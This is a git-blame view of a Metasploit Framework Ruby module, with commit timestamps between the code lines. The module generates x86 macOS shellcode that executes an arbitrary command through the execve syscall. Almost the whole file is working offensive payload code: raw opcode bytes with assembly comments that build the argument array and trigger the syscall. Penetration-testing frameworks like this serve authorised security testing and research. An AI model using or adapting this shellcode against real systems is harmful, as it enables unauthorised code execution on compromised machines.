2008-02-09 07:58:38 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-02-09 07:58:38 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2008-02-09 07:58:38 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
###
|
|
|
|
#
|
|
|
|
# Exec
|
|
|
|
# ----
|
|
|
|
#
|
|
|
|
# Executes an arbitrary command.
|
|
|
|
#
|
|
|
|
###
|
2008-10-02 05:23:59 +00:00
|
|
|
module Metasploit3
|
2008-02-09 07:58:38 +00:00
|
|
|
|
|
|
|
include Msf::Payload::Single
|
2012-10-16 14:26:18 +00:00
|
|
|
include Msf::Payload::Osx
|
2008-02-09 07:58:38 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
2012-08-14 20:29:21 +00:00
|
|
|
'Name' => 'OS X Execute Command',
|
2008-02-09 07:58:38 +00:00
|
|
|
'Description' => 'Execute an arbitrary command',
|
2013-07-18 00:20:47 +00:00
|
|
|
'Author' => [ 'snagg <snagg[at]openssl.it>',
|
|
|
|
'argp <argp[at]census-labs.com>',
|
|
|
|
'joev <jvennix[at]rapid7.com>' ],
|
2008-02-09 07:58:38 +00:00
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'Platform' => 'osx',
|
2013-07-18 02:11:24 +00:00
|
|
|
'Arch' => ARCH_X86
|
|
|
|
))
|
2008-02-09 07:58:38 +00:00
|
|
|
|
2010-11-11 22:19:34 +00:00
|
|
|
# Register exec options
|
2008-02-09 07:58:38 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('CMD', [ true, "The command string to execute" ]),
|
2013-07-18 00:20:47 +00:00
|
|
|
], self.class
|
|
|
|
)
|
2008-02-09 07:58:38 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
2010-11-11 22:19:34 +00:00
|
|
|
# Dynamically builds the exec payload based on the user's options.
|
2008-02-09 07:58:38 +00:00
|
|
|
#
|
2012-10-16 14:26:18 +00:00
|
|
|
def generate_stage
|
2013-07-18 00:20:47 +00:00
|
|
|
cmd_str = datastore['CMD'] || ''
|
|
|
|
# Split the cmd string into arg chunks
|
2013-07-18 02:15:59 +00:00
|
|
|
cmd_parts = Shellwords.shellsplit(cmd_str)
|
2013-07-18 00:21:52 +00:00
|
|
|
# the non-exe-path parts of the chunks need to be reversed for execve
|
|
|
|
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
|
2013-07-18 00:20:47 +00:00
|
|
|
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
|
|
|
|
|
2013-07-18 00:21:52 +00:00
|
|
|
# Stuff an array of arg strings into memory
|
2013-07-18 02:11:24 +00:00
|
|
|
payload = "\x31\xc0" + # xor eax, eax (eax => 0)
|
|
|
|
Rex::Arch::X86.call(arg_str.length) + # jmp over CMD_STR, stores &CMD_STR on stack
|
|
|
|
arg_str +
|
|
|
|
"\x5B" # pop ebx (ebx => &CMD_STR)
|
2013-07-18 00:20:47 +00:00
|
|
|
|
2013-07-18 00:21:52 +00:00
|
|
|
# now EBX contains &cmd_parts[0], the exe path
|
2013-07-18 00:20:47 +00:00
|
|
|
if cmd_parts.length > 1
|
2013-07-18 02:15:59 +00:00
|
|
|
# Build an array of pointers to arguments
|
2013-07-18 02:11:24 +00:00
|
|
|
payload += "\x89\xD9" + # mov ecx, ebx
|
|
|
|
"\x50" + # push eax; null byte (end of array)
|
|
|
|
"\x89\xe2" # mov edx, esp (EDX points to the end-of-array null byte)
|
2013-07-18 00:20:47 +00:00
|
|
|
cmd_parts[1..-1].each_with_index do |arg, idx|
|
|
|
|
# can probably save space here by doing the loop in ASM
|
|
|
|
# for each arg, push its current memory location on to the stack
|
2013-07-18 02:11:24 +00:00
|
|
|
payload += "\x81\xC1" + # add ecx, ...
|
|
|
|
[cmd_parts[idx].length+1].pack('V') +
|
|
|
|
# (cmd_parts[idx] is the prev arg)
|
|
|
|
"\x51" # push ecx (&cmd_parts[idx])
|
2013-07-18 00:20:47 +00:00
|
|
|
end
|
2013-07-18 02:11:24 +00:00
|
|
|
payload += "\x53" + # push ebx (&cmd_parts[0])
|
|
|
|
"\x89\xe1" + # mov ecx, esp (ptr to ptr to first str)
|
|
|
|
"\x52" + # push edx
|
|
|
|
"\x51" # push ecx
|
2013-07-18 00:20:47 +00:00
|
|
|
else
|
|
|
|
# pass NULL args array to execve() call
|
2013-07-18 02:11:24 +00:00
|
|
|
payload += "\x50\x50" # push eax, push eax
|
2013-07-18 00:20:47 +00:00
|
|
|
end
|
2008-02-09 07:58:38 +00:00
|
|
|
|
2013-07-18 02:11:24 +00:00
|
|
|
payload += "\x53" + # push ebx
|
|
|
|
"\xb0\x3b" + # mov al, 0x3b (execve)
|
|
|
|
"\x50" + # push eax
|
|
|
|
"\xcd\x80" # int 0x80 (triggers execve syscall)
|
2013-07-18 00:20:47 +00:00
|
|
|
|
|
|
|
payload
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|